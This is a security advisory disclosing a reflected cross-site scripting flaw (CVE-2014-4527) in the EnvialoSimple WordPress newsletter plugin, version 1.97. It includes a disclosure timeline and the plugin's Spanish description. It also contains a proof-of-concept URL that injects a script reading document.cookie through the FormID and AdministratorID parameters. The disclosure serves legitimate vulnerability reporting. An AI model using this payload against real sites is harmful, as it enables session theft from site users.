wp-plugin : envialosimple-email-marketing-y-newsletters-gratis

Plugin Details
Plugin Name: wp-plugin : envialosimple-email-marketing-y-newsletters-gratis
Effected Version : 1.97 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

PoC:http://localhost/wordpress/wp-content/wp-plugs/envialosimpleemailmarketingynewslettersgratis/paginas/vista-previa-form.php?FormID=FormID%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&AdministratorID=AdministratorID%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Vulnerable Parameter : FormID, AdministratorID

Trac ChangeLog : https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=843064%40envialosimple-email-marketing-y-newsletters-gratis&old=839677%40envialosimple-email-marketing-y-newsletters-gratis&sfp_email=&sfph_mail=


Disclosure Timeline
Vendor Contacted : 2014-01-21
Plugin Status : Updated on 2014-01-22
Public Disclosure : May 28, 2014
CVE Number : CVE-2014-4527
Plugin Description :
[| **Envía Newsletters GRATIS** Te regalamos 1.000 envíos mensuales para que envíes tus Newsletters y hagas crecer tus visitas. ✔ Edición "Arrastrar y Soltar" ✔Más de 200 Templates profesionales ✔ Newsletters personalizables ✔ Reportes completos ✔ Importación de Contactos ✔ Robusta plataforma de envío ✔ Form de Suscripción con widget ✔ Programación de Envíos ✔ Instalacion rápida y amigable = Características Generales = * **Simple e Intuitivo** Gracias a su interfaz minimalista e intuitiva, podrás crear y enviar Newsletters de forma práctica y eficiente. * **Completos y poderosos reportes** Accede a estadísticas de aperturas, clicks, rebotes, suscripciones, ubicación geográfica, cliente de correo, y mucho más. * **Rápido y Eficaz** Una infraestructura especialmente desarrollada para que tus Newsletters lleguen a la bandeja de entrada de tus suscriptores, en tiempo y forma. * **Editor de Contenido WYSIWYG** Te permite incluir tus posts de Wordpress arrastrando y soltando, y sin conocimientos de HTML. * **Más de 200 plantillas gratuitas** Una extensa galería de diseños de calidad profesional, categorizados y listos para usar con tus newsletters. * **Gestión de listas y contactos** Importa tus contactos de Wordpress y arma listas de Email para enviarles tus Newsletters. * **Vista Previa** Visualiza como tus destinatarios verán el contenido del Newsletter, antes de enviarlo. * **Soporte tecnico** Soporte técnico las 24 hs y los 365 días del año. Si aún no tienes cuenta de EnvialoSimple, podrás crear una en forma gratuita desde el plugin y obtendrás 1.000 envíos mensuales de regalo. Más información del producto en: [EnvialoSimple](http://envialosimple.com/envialosimple-wordpress-plugin) ]